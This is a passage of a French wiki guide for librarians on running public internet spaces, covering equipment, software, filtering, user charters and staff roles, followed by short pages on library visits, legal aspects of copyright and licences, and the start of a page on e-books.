dépendra peut être du type de d'utilisation. En fait, le Mac (ou plutôt certains types de Mac) est préféré pour des utilisations de type graphique (mise en page ou PAO), musicale (musique assistée par ordinateur ou MAO) ou vidéo. Pour la "simple" utilisation de l'Internet ou la bureautique, des PC font souvent l'affaire. Il faut cependant parfois revoir ses conceptions initiales : le Mac est tout à fait fonctionnel dans un cyber-espace (comme il le serait dans les cyber-classes de l'enseignement primaire) et une configuration de Mac en réseau peut permettre de gérer les utilisateurs par exemple en leur accordant un temps de travail, un espace ou non sur le disque dur, l'utilisation ou non des logiciels, un accès ou non à la messagerie,… Quelles doivent être les capacités des machines? Pour des PC, s'il s'agit de la simple consultation de pages web, un Pentium 133 paraît suffisant. Attention, si l'utilisateur doit lire des CD, utiliser des animations, visionner de la vidéo, un Pentium 2 avec contrôleur graphique s'impose (le contrôleur de sons est normalement intégré dans la carte-mère). Il faut donc déterminer la puissance nécessaire en fonction de l'usage. Faut-il des machines de marque ou peut-il s'agir de "produits blancs" (machines clonées ou assemblées)? Ces derniers ont l'avantage d'avoir été configurés selon les besoins de l'utilisateur. Il est préférable cependant de disposer des mêmes machines (pour le même réseau). Peut-on avoir recours à du matériel de seconde main ? Il faut évidemment être attentif à ce marché pour des raisons économiques (prix d'achat), environnementalistes (récupération de matériel), éthiques (insertion) tout en restant vigilant sur les composants (en obtenir une liste détaillée). Quel doit être le nombre de machines? Celui-ci est fonction non seulement des moyens financiers mais aussi du public (qui lui-même dépend de la localisation, des heures d'ouverture) et de la demande mais également de l'encadrement disponible pour accompagner (libre accès), initier ou former. Couramment, on évoque des salles de 8 à 10 machines. Des salles peuvent être réservées au libre accès et d'autres à la formation (avec une autre configuration y compris spatiale). Enfin, une certaine convivialité doit pouvoir être assurée. Peut-on "pousser" des machines et les mettre à niveau (upgrader) sans problème? Attention : s'il est effectivement possible d'ajouter de la mémoire ou d'opter pour un processeur plus rapide, le passage, par exemple d'un Pentium 3 à 4 est déconseillé. Les pannes les plus courantes dans les PC sont liées aux écrans et aux disques durs (en raison notamment de manipulations dans les fichiers). Théoriquement, l'écran est un périphérique qui n'est pas destiné à être souvent renouvelé. L'écran plat est certes plus cher (prix d'un écran de 15’’ équivalent à un écran classique de 17’’) mais offrirait une meilleure image, un meilleur confort visuel (moins de rémanence) que l'écran classique. L'écran plat est moins encombrant et offre une image plus "moderne" de l'EPN. Faut-il envisager une installation sans fil? Bien sûr, un clavier, une souris peuvent fonctionner sans fil (les risques de vol sont accentués d'autant) mais l'appareil disposera toujours d'un fil d'alimentation. L'investissement dans une installation sans fil pourrait donc ne pas paraître fort utile; cependant, une installation sans fil évite, par définition, les problèmes liés au câblage (débranchements, accrochages, coût, difficulté de câblage dans certains bâtiments) et permet une plus grande mobilité des appareils (le choix de configurations différentes de salles en fonction du type d'animation). Le périphérique le plus sollicité sera l'imprimante (branchée sur le réseau) soit à jet d'encre couleur (mais attention au prix à réclamer à l'utilisateur) soit laser (noir et blanc). Un scanner peut également être utile. En ce qui concerne l'image, les webcams (avec des logiciels tels que Messenger, Netmeeting ou Gnomemeeting) ont toute leur utilité notamment lorsqu'un travail est effectué avec un public qui recherche le contact avec l'étranger. Il peut être intéressant d'acquérir des appareils photos numériques pour des initiations et des animations. Le vidéo-projecteur tel qu'utilisé pour des formations et conférences est un outil intéressant mais qui doit être rentabilisé, éventuellement par plusieurs partenaires, en raison de son coût (à partir de 2000 euros). Logiciels libres ou non En matière de logiciels, on sait que s'opposent les systèmes d'exploitation Windows (Microsoft), Mac Os (Apple) et Gnu Linux. Choix difficile qui oppose des notions d'éthique, de gestion financière (frais d'achat de licence, installation, maintenance, consultance), d'administration du réseau. Les logiciels payants ont des coûts d'achat et de licence qui peuvent être difficiles à supporter pour des "cyber-espaces" mais ils sont dominants sur les marchés et il peut paraître indispensable d'initier un public qu'on refuse de voir exclu, à un produit qu'il rencontrera dans un environnement professionnel. Cependant, il faut signaler que des logiciels dits "open source" peuvent fonctionner dans un environnement Windows et être similaires ergonomiquement et graphiquement. Il en est ainsi de la suite intégrée Open Office qui associe traitement de texte, logiciel de présentation, éditeur HTML, base de données, tableur, logiciel de dessin). Ce constat en cache un autre et appelle une autre question : sur quoi porte la formation qui est délivrée dans un EPN ? Est-ce qu'on doit apprendre à une personne à se servir d'un logiciel spécifique et très souvent propriétaire ou au contraire donner les bases pour la compréhension nécessaire et les mécanismes sous-jacents afin que la dite personne puisse ultérieurement faire abstraction du logiciel et se servir indifférement de n'importe lequel ? === Les logiciels === L'EPN aura de nombreux besoins en logiciels, besoins qu'il peut assumer à moindre coût en recourant à des logiciels en libre diffusion et en libre utilisation, aux partagiciels. L'antivirus (avec abonnement pour les remises à jour) est absolument indispensable dans un monde où foisonnent les virus si l'on utilise un système d'exploitation avec des failles comme Windows. ==== Antivirus ==== Pour accéder au web, il faut un navigateur. Internet Explorer (IE) est dominant mais pose des problèmes de sécurité. Certains utilisateurs préfèrent Netscape ou Mozilla. Problème : certains sites et non des moindres sont seulement "optimisés" pour IE et ne sont pas lisibles pour Netscape ou des navigateurs comme Opera ou Mozilla (des problèmes peuvent se poser pour le net-banking par exemple). Il existe également des navigateurs Internet sécuritaires et personnalisables comme Amiweb. De préférence, on choisira les versions en langue française pour ne pas encore décontenancer davantage les utilisateurs de l'EPN. ==== Messagerie ==== Dans le domaine de la messagerie, on sait qu'Outlook Express est dominant mais Thunderbird monte en puissance. Les EPN ne sont pas prêts pour autant à admettre que des messages soient stockés sur les machines. Dès lors, lorsqu'une utilisation du courrier électronique est admise, il s'agira davantage de webmails tels que Yahoo!, Hotmail, Caramail. ==== Création de site web ==== Pour créer un site web, il faut recourir à un éditeur de site web. Il peut être tentant de se tourner vers des solutions coûteuses mais perfectionnées telles que Dreamweaver. Ou, à moindre prix, Microsoft Front Page ou Adobe Golive. Web Expert est un excellent shareware canadien. Il faut également rappeler que, pour une première approche, le logiciel libre Open Office permet déjà d'éditer des pages web. D'autres EPN, plutôt que de recourir à des éditeurs wysiwyg préfèront apprendre les langages du web, html, xhtml/ccs. ==== Transfert de fichiers ==== Les pages créées, encore faut-il les transférer vers un hébergeur. Pour cela, on utilise un logiciel FTP (pour "file transfer protocol"). Il en existe d'aussi excellents que (quasi) gratuits comme [http://software.visicommedia.com/fr/products/ftpexpert/ FTP Expert] ou [http://filezilla.sourceforge.net Filezilla] (pour Windows, en français). ===== Traitement d'images ==== Pour le traitement d’images, à côté des Photo Shop, Paint Shop Pro ou Photo Impact figurent également des logiciels gratuits, voire libres comme The Gimp. Il n'est pas indispensable que de tels logiciels (surtout payants) équipent toutes les machines. Certaines d'entre elles pourraient être dédiées à la création multimédias. ==== Audio & vidéo ==== Pour l'audio et la vidéo, si l'on installe des logiciels (gratuits) de type Windows Media Player encore faut-il prévoir le branchement de casques ou de haut-parleurs. Certains EPN pourraient être tentés d'éviter le son et l'image en ligne, pour des raisons de bande passante ou de "nuisance sonore" dans l'EPN. Pourtant, il est des pratiques qu'il faut pouvoir soutenir comme l'écoute de radios, le visionnement de journaux télévisés ou de vidéos historiques,… Les logiciels spécialisés pour la création numérique, le montage audio et vidéo, la musique assistée par ordinateur devraient, de préférence, équiper des appareils qui leur sont dédiés notamment parce qu'ils exigent aussi une autre gestion du temps. Les EPN évitent généralement les systèmes poste à poste (peer-to-peer) qui permettent, par exemple, d'échanger de la musique en MP3 (Kazaa) d'une part en raison de la consommation de bande passante et, d'autre part, parce qu'ils ne souhaitent pas encourager le piratage. ==== Bureautique ==== Dans un EPN, la demande dépassera souvent la simple utilisation de l'Internet pour se porter sur les outils de bureautique. Autrement dit souvent le traitement de texte et, dans une moindre mesure, le tableur, la base de données ou le logiciel de présentation. Bien sûr, on peut présenter les solutions Microsoft parce qu'elles sont les plus connues et parce que les employeurs parlent en terme de Word et non de traitement de texte, d'Excel et non de tableur, de Power Point et non de présentation. Mais une solution Office pour tout un EPN s'avère très coûteuse. Il est sans doute préférable d'opter pour la suite intégrée Open Office (0oo), fort proche ergonomiquement, et peut-être d'équiper l'un ou l'autre appareil de la solution de MS, pour ceux qui voudraient absolument se frotter à ce standard après avoir fait leurs premières armes sur Ooo. Un autre programme gratuit Easy Office, paraît fort intéressant mais il n'existe actuellement qu'en anglais. ==== Gestion de l'EPN ==== Il faut donc pouvoir gérer un(des) réseau(x) c'est-à-dire contrôler sa salle tant sur le plan technique que règlementaire (limitation de la visite de sites par le gestionnaire en fonction d'un règlement mais avec une certaine éthique de respect de la vie privée!). Il faut pouvoir identifier des utilisateurs, leur donner des autorisations d'accès, conserver les profils. Certains EPN sont demandeurs de logiciels de "contrôle parental". Ici aussi, on trouve des programmes payants (comme Optenet installable en réseau et dont il existe une version de démonstration, Norton Internet Security, Surfwatch, Cyber Patrol, Internet Watcher, Webcontrole, Net Nanny, Cybersitter) ou sharewares (Control Kids). Squid, un logiciel libre et réputé robuste remplit parfaitement cette tâche (il fonctionne en "white-list" ou "black-list"); de plus il est uniquement nécessaire sur la passerelle Internet et permet grâce à sa fonction de "cache" d'accélérer la consultation des pages web (mise en mémoire des pages les plus demandées). Un logiciel comme Surf Pass (pour Windows) permet non seulement le filtrage mais aussi de contrôler ou de facturer l'utilisation d'une machine en libre service. L'utilisation de cartes à puce est même prévue. Quant à Net Spy, c'est un programme qui vous permet de visionner ou de sauvegarder des captures d'écran de bureaux, localement ou sur un réseau (de un à plus d’une centaine de PC). Net Spy permet le contrôle à distance d'un autre PC connecté. La protection du système peut être assurée par un logiciel comme Cetus Storm Windows. Il vous permet de définir les zones auxquelles un usager pourra accéder et ne pas accéder au moyen de mots de passe. On ne peut parler de sécurité sans évoquer les pare-feux (firewalls), par exemple de Norton ou Mac Afee, qui visent à améliorer la protection du réseau et à défendre le réseau local connecté à Internet des attaques et tentatives d'intrusion qui peuvent provenir de l'extérieur ainsi que de contrôler et de réguler les connexions du réseau interne vers l'extérieur. Quant aux logiciels de type Ghost, ils permettent, en écrivant des images-disques, l'archivage, une mise à niveau rapide et sûre, le secours informatique et la restauration. === Les orientations et les types d'animation === Afficher des orientations pour son EPN, c'est se positionner. Par rapport à la "clientèle" existante, future, aux pouvoirs publics (aux différents niveaux de pouvoir). En tenant compte de la nature de son institution, de ses objectifs… et de ses subventionnements. Ainsi parlera-t-on d'EPN à orientations TIC, de loisirs, culturelles ou citoyennes. Il s'agira de voir ici quelles peuvent être les activités d'un EPN en bibliothèque publique. ==== Quelques orientations ==== Un EPN à orientation TIC aurait pour objectif premier de former aux TIC. Ou, tout au moins, de fournir un bagage dans ce domaine. Ceux à orientation sociale et/ou professionnelle sont également aisés à définir : ils visent à insérer la personne dans la société et/ou dans le marché du travail. Les EPN afficheront sans doute moins une orientation de loisirs. Ceux-ci ne sont-ils pas définis comme un "temps pendant lequel on n'est astreint à aucune tâche", un "temps libre dont on dispose après l'accomplissement des obligations professionnelles et familiales de la vie courante" ou comme des "activités diverses auxquelles on se livre pendant les moments de liberté" . Une orientation qui ne sera pas nécessairement jugée honorable lorsqu'on souhaite se démarquer des cybercafés. Ou que l'on est subventionné à d'autres fins. L'orientation culturelle d'un EPN doit sans doute être appréhendée de manière tout aussi délicate. "Culturel", c'est "relatif à la culture" ou "dont le but est de développer ou de propager la culture". Pour qu'un EPN soit "culturel", il ne suffit donc pas d'être développé à partir d'un lieu "culturel" (ou "reconnu" par la Culture). Quant à l'orientation citoyenne, c'est bien celle qui prête le plus à confusion. Si le citoyen est celui qui participe à la gestion de la cité, faut-il penser que les "espaces citoyens" sont des lieux qui favorisent cette participation à la gestion. Cette ambition ne semble pas être l'objectif réel d'EPN. Bien sûr, à travers un EPN, on peut certainement davantage être informé quant à la vie de la cité notamment à travers le site web communal. Il est également possible de commander des documents en ligne mais tout ceci ne procède que de la simple information du citoyen, d'une plus grande transparence de l'administration et de facilités d'échanges entre le citoyen et l'administration ou les édiles communaux. Ainsi donc, quand on entend "espace citoyen", il faut se contenter de comprendre "espace ouvert aux citoyens"… pour ne pas dire "espace public". Le véritable espace citoyen reste à construire. En bibliothèque, l'EPN peut être considéré sous le seul angle de la lecture et donc, principalement, comme un outil de recherche documentaire. Certaines bibliothèques préfèrent cependant d'une part répondre aux attentes d'un public qu'elles espèrent voir aussi dépasser la salle multimédia ou, d'autre part, en fonction de leur mission d'éducation permanente, débordent du strict soutien à la recherche documentaire. ==== Accès libre, sensibilisation, initiation ou formation ==== Ces termes prêtent à débats et à malentendus. L'accès libre dans un EPN est la possibilité pour une personne d'accéder à l'Internet sans soutien si celui-ci n'est pas demandé. Attention cependant : cet accès "libre" peut, en réalité, être conditionné, par exemple par une obligation d'inscription, par le paiement d'une cotisation et/ou en fonction de la consommation, par des contraintes horaires. L'accès libre est également limité par la charte ou le règlement de l'EPN. L'utilisation de l'expression "accès autonome" est sans doute plus judicieuse. La sensibilisation, c'est l'action de sensibiliser ("rendre capable de ressentir quelque chose, de réagir à quelque chose"), son résultat. La sensibilisation peut se faire à travers des conférences, des opérations (de type Fête de l'Internet), des initiations. Par initiation, on entend l'"accession à la connaissance des premiers éléments d'une science, d'une technique, d'un art". L'initiation est parfois baptisée "formation de base". C'est bien l'utilisation du terme "formation" qui soulève des questions puisque certains estiment que la formation ne relève pas des EPN mais d'organismes spécialement développés à cette fin. Encore faut-il savoir ce que l'on entend par formation! Une définition évoque un "ensemble des mesures, procédés, méthodes, activités et actions visant essentiellement à permettre l'acquisition des capacités pratiques, des connaissances et des attitudes exigées pour occuper un emploi relevant d'une profession, d'une fonction ou d'un groupe de professions, dans une branche de l'activité économique". Ainsi donc la formation n'aurait de vocation que professionnelle. C'est sans doute comme cela qu'on l'entend dans d'autres pays (en France notamment) mais, en Belgique, il n'est pas rare de parler de formation pour une transmission de savoir-faire, d'aptitudes. === Les publics === Pourquoi des associations mettent-elles en place des espaces publics numériques? S'agit-il d'offrir davantage de services au public qu'elles connaissent déjà, d'élargir l'offre pour séduire un nouveau public? Oui mais comment le gérer? L'installation d'un cyber-espace au sein d'une association peut, de prime abord, ne s'adresser qu'au public qui est déjà le sien. L'association élargit simplement le spectre de ses activités. Peut-être pour éviter de voir le public s'en aller ailleurs. Peut-être pour répondre à une demande. Il ne s'agit pas nécessairement d'une nouvelle "mission" du cyber-espace mais simplement d'une activité ajoutée au programme ou une amélioration du service en regard de la mission première du lieu. Mais quelles que soient les intentions des initiateurs du cyber-espace, l'offre entraîne des réponses des utilisateurs auxquelles les responsables et animateurs d'EPN n'ont pas nécessairement pensé. Avec, par exemple, un intérêt plus marqué pour le chat, le courrier électronique que ne l'avaient prévu les initiateurs du "cyber-espace". Ne risque-t-on pas de s'éloigner de ses missions premières ou de détourner du personnel au bénéfice d'activités "extra-ordinaires"? A l'inverse ne peut-on considérer l'Internet comme un instrument qui permet d'attirer un nouveau public dans un lieu et de l'habituer à ce lieu et à ses offres? Ou encore comme la possibilité de changer l'image de l'organisme porteur? ==== Ghettos ou mixité ==== Quoi qu'il en soit, l'arrivée de nouveaux publics en exige la gestion. C'est une question délicate pour les EPN en général (peut-être moins, dans les faits, dans les bibliothèques) qui doivent éviter la ghettoïsation du lieu avec, par exemple, de grands adolescents qui, de fait, excluent d'autres tranches d'âge. Ou encore une exclusion des jeunes filles. Il faut donc gérer ces publics en jouant sur les propositions d'activités (certaines étant davantage susceptibles d'attirer des publics déterminés), voire en réservant des plages déterminées non seulement à des activités particulières (accès libre, initiations, formations) mais aussi à des publics déterminés (enfants, jeunes, jeunes filles, seniors, commerçants, demandeurs d'emploi,…). Ce n'est pas pour autant qu'il faut instaurer une ségrégation entre les différents publics. Des périodes d'accès libre ou des activités intergénérationnelles, par exemple, peuvent entraîner une mixité de publics. Et il nous faut encore parler des horaires. Ceux-ci ne sont pas "innocents". Parfois ils peuvent être inspirés par les pratiques du personnel et s'alignent sur des horaires de bureau du lundi au vendredi. Dans d'autres cas, ils répondent aux besoins du public déjà présent; dans d'autres encore, l'ouverture semble calculée pour séduire certains publics. Une fois de plus, une question qui peut paraître simple demandera réflexion et sans nul doute imposera des réajustements dans la gestion de l'EPN. === Les approches === ==== L'approche technique ==== L'approche technique est la plus classique. On propose aux visiteurs des modules d'initiation (formation) à des outils techniques : le traitement de texte, la navigation sur le web, le courrier électronique,... Proposer ce type de modules est relativement simple et rassurant. Pour l'animateur comme pour l'apprenant. Mais, dans un deuxième temps, il est souhaitable de pouvoir dépasser le simple transfert de capacités techniques, pour aborder des projets où les instruments de l'Internet et de la bureautique ne sont considérés que comme ce qu'ils sont, c'est-à-dire des outils. Il importe donc de développer le sens critique des usagers même lorsque des apprentissages paraissent simplement techniques. ==== L'approche thématique ===== Une autre approche consiste à travailler par thématique (par exemple la recherche documentaire, particulièrement en bibliothèque), éventuellement sous forme d'exposé afin de familiariser le public avant de l'installer devant un ordinateur. Il peut alors apprendre les différentes fonctions de l'ordinateur et les usages de l'Internet non pour eux-mêmes mais à travers un vrai projet. === L'accès libre ou autonome à l'Internet === Il s'agit donc de permettre au public d'utiliser lui-même l'outil Internet dans les limites d'un règlement ou d'une charte d'utilisation qui évoque tant les sites visités que la bonne conduite au sein de l'EPN. Cet accès libre est important dans des communes où le public ne dispose pas de tels lieux. Il s'agit là d'une véritable mission de service public. Le contrôle de l'accès à l'Internet Comme nous le verrons dans la partie consacrée à la règlementation Internet, les espaces publics numériques doivent être attentifs à contrôler l'accès à l'Internet. La consultation de sites (pédo-)pornographiques, racistes ou xénophobes y est clairement proscrite. L'engagement des utilisateurs peut se doubler de l'installation de logiciels de contrôle. Au nom du respect de la vie privée, les responsables d'EPN (ou leurs pouvoirs organisateurs) restent parfois cependant dubitatifs face à l'utilisation de systèmes permettant de visualiser les écrans des utilisateurs. La disposition des postes peut permettre également un contrôle par les animateurs de l'utilisation des postes. Avec l'expérience, les animateurs peuvent aussi, en fonction de l'attitude des utilisateurs, se rendre compte qu'ils sont occupés à visiter des sites proscrits. === L'éducation aux risques liés à l'usage de l'Internet === Par rapport aux problèmes liés à la navigation sur le web et, plus généralement, à l'utilisation d'Internet, il existe une approche plus éducative, sans doute plus en phase avec les approches des associations de jeunesse. Il s'agit de l'éducation critique aux risques liés à l'usage de l'Internet, telle que développée à travers le programme Educaunet . Son objectif est d'apprendre aux enfants et aux adolescents à naviguer en toute responsabilité sur Internet. Il fait le pari de former des jeunes autonomes, critiques et responsables, capables d'apprécier les richesses de ce média, tout en percevant avec justesse ses dangers - réels et supposés. Cette éducation a l'avantage de contrer "l'effet air-bag" des dispositifs de protection avec des jeunes qui se croient en sécurité et une vigilance qui se met en sommeil. Il est intéressant de constater que ce projet ne s'intéresse pas seulement à des contenus à caractère sexuel mais traite plus largement des dangers de l'Internet : contenus préjudiciables, inconvenants ou illicites, pratiques frauduleuses, dissimulation ou falsification d'identité, comportements manipulatoires. Educaunet a créé un ensemble d'outils éducatifs qui ont été testés avec des jeunes de 8 à 18 ans en Belgique et en France. Une vingtaine d'activités mettent en scène des situations rencontrées dans l'univers d'Internet : jeux de cartes, de plateau, de rôles ou en réseau, activités d'analyse en ligne ou hors ligne. Les outils d'Educaunet sont diffusés sous la forme d'un coffret multimédias comprenant un "Guide du formateur", un cédérom et un "Cyber Carnet" pour les jeunes. === La réglementation interne === Les espaces publics numériques se dotent de règlements ou, selon la terminologie en usage en France, de chartes. Ces documents peuvent parfois être perçus comme des sommes d'interdictions ou, dans d'autres cas, comme des outils qui régissent contractuellement la relation entre l'EPN et l'utilisateur. Ce règlement est généralement communiqué à l'inscription. Le futur usager du centre est invité à en prendre connaissance puis à le signer. Eventuellement, s'il s'agit d'un (jeune) mineur, un parent devra le contresigner. Ce règlement peut également être affiché dans l'EPN et figurer sur son site web. Il est souhaitable que ce règlement n'intègre pas seulement des interdictions mais évoque les objectifs de l'espace, les services offerts, les modalités d'accès, la tarification,… Chaque point du règlement doit être pesé : quelles sont les intentions de l'EPN en mettant telle disposition en place? Quel impact peuvent-elles avoir auprès du public? L'application de la disposition n'est-elle pas source de lourdeur (ou de lenteur) pour les animateurs de l'EPN ou les usagers? Parmi les interdictions relevées lors de l'examen de différents règlements belges et français, celles mises en avant concernent certaines manœuvres : * modifier des paramètres de configuration et d'affichage des ordinateurs; * effectuer soi-même une réparation; * télécharger, installer et/ou utiliser d'autres programmes informatiques (notamment de logiciel de messagerie électronique); * télécharger des fichiers sur le disque dur; * télécharger des fichiers musicaux; * pirater (violation du système de protection de l'installation et du réseau); * modifier ou supprimer des données installées dans l'ordinateur; * introduire des disquettes (personnelles) et cédéroms; * détruire, adapter ou endommager des machines; * connecter d'autres machines; * éteindre les ordinateurs; * jouer sur cédéroms ou en ligne (sauf autorisation); * acheter en ligne ou consulter (ou gérer) un site payant; * chatter. Certaines de ces interdictions posent bien des questions. Quid du chat? Une des pratiques les plus usitées par les adolescents! N'est-ce pas un jugement d'adulte que de le proscrire dans un espace public… alors que le chat existe et qu'il vaudrait peut-être mieux "éduquer au chat"? Parmi les interdictions, figure la consultation de sites contraires aux bonnes mœurs, à la morale ou portant atteinte à la dignité humaine. Des sites qualifiés de pornographiques, obscènes, pédophiles, racistes, xénophobes, de nature violente, menaçants, diffamants, harcelants… La liste n'est sans doute pas exhaustive. En France, apparaissent des interdictions qui, à notre connaissance, n'existent pas telles que l'interdiction de la propagande. Quid alors des usagers qui voudraient créer un site de jeunesse politique par exemple? Quid de la liberté d'expression? Ne faut-il pas distinguer cette liberté d'expression – un droit fondamental – des véritables délits comme, par exemple l'incitation à l'émeute ou à la haine raciale? Dans l'Hexagone, on rappelle également la législation sur le droit d'auteur et l'usurpation d'identité (note : à ne pas confondre avec l'utilisation de pseudonymes) est proscrite. Dans ce lieu public qu'est l'EPN, il est fait appel au savoir-vivre des usagers à qui il est demandé de ne pas crier, ne pas fumer, ne pas manger, ne pas boire, ne pas amener d'animal, de couper la sonnerie du GSM, d'apporter ses écouteurs… et de faire preuve de courtoisie et de politesse. L'usager est aussi tenu de respecter le matériel mis à disposition, de signaler la panne ou la détérioration du matériel. Certains EPN déclinent toute responsabilité en cas : * d'utilisation illégale ou commerciale de leur matériel; * d'utilisation abusive de cartes de crédit et/ou en cas d'achats inconsidérés par des mineurs d'âge; * d'utilisation non respectueuse du courrier électronique (y compris spamming) et du chat ou pour les propos tenus sur l'Internet ou * pour la qualité de l'information trouvée sur l'Internet. mais, également, en cas : * de non fonctionnement; * de vol ou de perte d'objet. Il n'existe pas, à notre connaissance, de jurisprudence en la matière mais l'on peut se demander si se dégager ainsi de toutes ces responsabilités a une valeur légale. Les sanctions sont l'interdiction (temporaire ou définitive) d'accès à l'EPN, la réparation et le remplacement du matériel endommagé, sans préjudice de poursuites judiciaires. Le règlement ou la charte pourrait être élaboré par le pouvoir organisateur (voire être adopté par le conseil communal s'il s'agit d'un EPN communal) et/ou par ses animateurs. Il peut s'agir de l'extension d'un règlement existant ou d'un nouveau règlement… qui s'inspirera de règlements d'autres centres On pourrait également envisager d'associer les usagers à l'élaboration du règlement. Ou, encore, établir une charte-type comme il existe des statuts-types pour les associations sans but lucratif. Des règlements de cyber-espaces sont disponibles sur http://fr.groups.yahoo.com/group/espaces-publiques-multimedia/ (il faut s'inscrire pour avoir accès à ces fichiers). === Les accompagnants === Un animateur-chef de projet d'EPN exerce la responsabilité de l'EPN et assure l’interface avec les partenaires locaux. Il s'assure de l'animation de l'espace multimédia, organise le travail au sein de cet espace, établit des partenariats d'animation, conduit une veille technique. Dans une bibliothéque, ce chef de projet peut être distinct du responsable de la bibliothèque. L'animateur de base assure la simple responsabilité du programme d'activité de l'EPN. Il doit pouvoir faire preuve de compétences telles que concevoir des actions et des projets, pratiquer et maîtriser l'outil technique, animer un groupe, transmettre des savoir-faire et des contenus, s'informer et se former. On peut également lui demander de maintenir l'outil en bon état de fonctionnement et de faire connaître le projet. En Belgique, il n'existe pas actuellement d'étude sur les formations initiales ou continuées des accompagnants dans les EPN. Hormis les ateliers consacrés aux EPN organisés par le centre de compétence wallon Technofutur 3, il n'existe pas aujourd'hui de formation spécifique dédiée à ces accompagnants. Les formations souvent proposées sont plutôt de l'ordre des formations techniques. Or les accompagnants doivent disposer de compétences techniques mais aussi pédagogiques et être capables de gérer un groupe. Il n'existe pas non plus aujourd'hui de reconnaissance particulière des "cyber-animateurs". Il peut s'agir de bénévoles ou de professionnels (bibliothécaires par exemple). Le travail en cyber-espace nécessite une supervision régulière de manière à entendre les accompagnants sur les problèmes qu'ils ont pu rencontrer, sur les attentes du public, sur les besoins (en matériel comme en formation), sur les aspects de gestion du lieu, sur les programmes à mettre en place, la participation à des opérations de sensibilisation,... ---- * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] --[[Utilisateur:Philippe Allard|Philippe Allard]] 23 mar 2005 à 12:04 (UTC) Les visites de bibliothèques 2969 16092 2005-07-04T11:18:03Z 213.136.106.252 /* E-communication */ * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] ---- Des étudiants bibliothécaires seront amenés à visiter des bibliothèques. Voici une liste de points qui devraient faire l'objet de leur observation. === Grille d'analyse === * Présentation * Historique de la bibliothèque (fondation, reconnaissance, informatisation) * Statut de la bibliothèque et description du réseau * Présentation des différentes sections * Personnel employé (nombre, statuts, qualifications et répartitions selon les sections) * Collections (nombres et types de documents, répartition géographique) * Lectorat (nombre de lecteurs par tranches d'âges) * Horaires d'ouverture === Matériel === * Type et nombre de postes informatisés * Type et nombre de périphériques (imprimantes, modem, scanner,…) * Age moyen du matériel * Répartition des postes au sein des sections/bureaux === Réseau === * Travail en réseau ou non * Réseau local ou étendu * Topologie du réseau (serveur dédié ou non) * Mise en commun de ressources, programmes, données === Logiciels === * Système d'exploitation * Logiciel intégré de bibliothèque SGBD * Logiciels de bureautique * Autres types de logiciels * Outils informatisés à la disposition du personnel (Rameau, Electre, Taurus,…) === Outils à la disposition du public === * Internet * Consultation/prêt de cédéroms * OPAC * Services aux lecteurs (réservations, suggestions d'achat, prêt inter-bibliothèques, prolongations, animations, formations ou initiations,…) === E-communication === * Relation avec les lecteurs via le courrier électronique * Site web de la bibliothèque * Lettre d'information électronique === Organisation du travail === * Rotation des postes (prêt, catalographie,…) * Répartition des tâches (spécialisation ou polyvalence) * Utilisation des fonctionnalités du logiciel intégré de bibliothèque (réservation informatisée avec publipostage, statistiques, gestion financière,…) * Organisation des sauvegardes === Objectifs de la bibliothèque === * Projets à court et à long terme de la bibliothèque pour améliorer ses services aux lecteurs et l'organisation du travail de son personnel ---- * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] --[[Utilisateur:Philippe Allard|Philippe Allard]] 23 mar 2005 à 12:47 (UTC) Aspects juridiques 2970 25511 2005-11-16T11:19:33Z 194.167.115.90 /* La responsabilité des fournisseurs d'accès à l'Internet */ * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] ---- Devront ici être évoqués des aspects tels que : * les licences * les hyperliens * la contrefaçon informatique * la responsabilité des bibliothécaires et animateurs d'espaces publics numériques par rapport aux activités en bibliothèque ou EPN * ... == Droit d'auteur et licences == === Droit d'auteur === * Propriété littéraire et artistique (droit d'auteur), Droit & Nouvelles Technologies (http://www.droit-technologie.org/3_2.asp?theme_id=1%E0) * "Journalisme et droit d'auteur en Belgique" par Thibault Verbiest (http://www.robic.ca/cpi/Cahiers/12-2/VerbiestThierry.html) === Licences === * Licence Art Libre (http://artlibre.org/licence.php/lal.html) * Licence libre de diffusion de document (http://wiki.crao.net/index.php/LicenceDeLibreDiffusionDesDocuments) * Licence de documentation libre GNU ou GDFL (http://fr.wikipedia.org/wiki/Licence_de_documentation_libre_GNU) * Licence pour Documents Libres (http://guilde.jeunes-chercheurs.org/Guilde/Licence/ldl.html) * Charte document libre (http://www.documentlibre.org/CharteDL.html) * Creative Commons By-Sa (http://creativecommons.org/licenses/by-sa/1.0/) A lire : article sur le Réseau citoyen évoquant le copyleft et les licences libres (http://reseaucitoyen.be/index.php?CopyLeft) === Les hyperliens === * Liens hypertextes : quels risques juridiques pour les opérateurs de sites Web ? par Me Thibaut Verbiest, avocat au Barreau de Bruxelles (http://www.juriscom.net/pro/2/lh20000509.htm) === La contrefaçon informatique === Le terme de contrefaçon informatique désigne la copie et/ou la distribution non autorisée de logiciels. La loi protège les droits des propriétaires de logiciels (les éditeurs) en leur octroyant le droit exclusif de reproduire ou de distribuer des copies de leurs logiciels. ==== En Belgique ==== La contrefaçon informatique viole la loi belge du 30 juin 1994 sur le droit d'auteur et les droits voisins et la loi du 30 juin 1994 concernant la protection juridique des programmes informatiques. Ces lois interdisent la duplication non autorisée de logiciels. Cette interdiction comprend la production ou l'installation de multiples copies dans le but d'être utilisées par différents utilisateurs au sein d'une organisation ainsi que le transfert non autorisée de copies vers d'autres utilisateurs. La législation prévoit des peines allant d'une amende de 20 000 à 20 000 000 BEF et, en cas de récidive, une peine de 3 mois à 2 ans d'emprisonnement et/ou une amende. Des sanctions civiles sont également prévues. ==== En France ==== A développer === La responsabilité des fournisseurs d'accès à l'Internet === Une bibliothèque peut être considérée comme un fournisseur d'accès à l'Internet. A développer. ---- * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] --[[Utilisateur:Philippe Allard|Philippe Allard]] 23 mar 2005 à 12:59 (UTC) Bibliothèques, éditeurs, librairies et livres numériques, électroniques, virtuels ou en ligne 2971 44215 2006-06-09T13:13:52Z 83.99.100.95 /* Les documents en accès libre */ * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] ---- Les technologies de l'information et de la communication utilisent parfois un langage "enfermant" mais la confusion est encore plus grande lorsque des termes utilisés dans des secteurs en évolution – comme ceux de la bibliothèque ou de l'édition – 